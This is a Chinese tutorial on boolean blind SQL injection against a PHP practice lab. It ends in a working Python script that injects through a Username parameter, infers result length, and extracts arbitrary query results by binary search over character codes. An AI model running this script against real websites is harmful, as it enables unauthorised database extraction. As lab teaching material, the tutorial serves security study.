0x00 布尔盲注原理
布尔盲注应用于 页面只有响应为真,和响应为假的两种情况,无其他数据回显。
用到的函数有
length(str) 返回str字符串的长度
ascii(str) 返回str字符串的ascii编码
substr(str,start,len) 返回str字符串从start位开始len长度的字符串
流程
length($sql_exp)> $x
依次判断出 查询出的长度
ascii(substr(($sql_exp),$x,1))>$mid
依次判断出要查询的每位的ascii值
0x01脚本编写
以开普勒php开源靶场为例
-
下载地址
https://github.com/admin360bug/PHP
1.1用到的库
requests
有waf 还可以加 time
import requests
1.2判断页面响应
根据页面响应判断
有三种响应
登录成功 关键词 “login ok,success…”
登录失败 关键词 “登录失败”
空页面情况,其他情况
def check_res(res):
if "success" in res.text:
return True
elif "登录失败" in res.text:
return False
else:
return False
1.3判断返回字符串长度
因为不知道执行次数,就用while True循环(死循环),直到 sql语句执行失败的长度的临界值就为要查询的内容的长度eg: length(select version()) > 1 为True … length(select version()) > 5 为False 进入 if not check_res(res) 为真, break 终止while死循环。 得到 length 为 5
def res_length(exp):
length = -1
sess = requests.session()
while True:
sql_exp = "length((%s))>%d" % (exp,length)
url = "http://www.bachang.com/index.php/Home/Index/SQL_tow?Username=0' or (%s) --+" % (sql_exp)
res = sess.get(url)
if not check_res(res):
break
length += 1
return length
1.4 获取查询结果
通过二分法提高查询效率
eg: 以版本号 首尾为 5 测试 ascii(5)=53
先比较(0+127) 如果成立,比较 (63+127) //2 = 95 ,如果不成立 比较 (0+63)//2 = 31 依次类推
def res_result(exp, length):
result = ""
sess = requests.session()
for i in range(length):
left = 0
right = 127
while True:
mid = (left+right) // 2
if mid == left:
result += chr(right)
break
sql_exp = "ascii(substr((%s),%d,1))>%d" % (exp, i+1 , mid)
url = "http://www.bachang.com/index.php/Home/Index/SQL_tow?Username=0' or (%s) --+" % (sql_exp)
res = sess.get(url)
if check_res(res):
left = mid
else:
right = mid
return result
1.5 主函数
写一个 while 循环 一直 可以输入命令
if __name__ == '__main__':
while True:
exp = input(">>>请输入SQL语句:")
length = res_length(exp)
print("[+]length :%d" % (length))
result = res_result(exp, length)
print("[+]result:%s" % (result))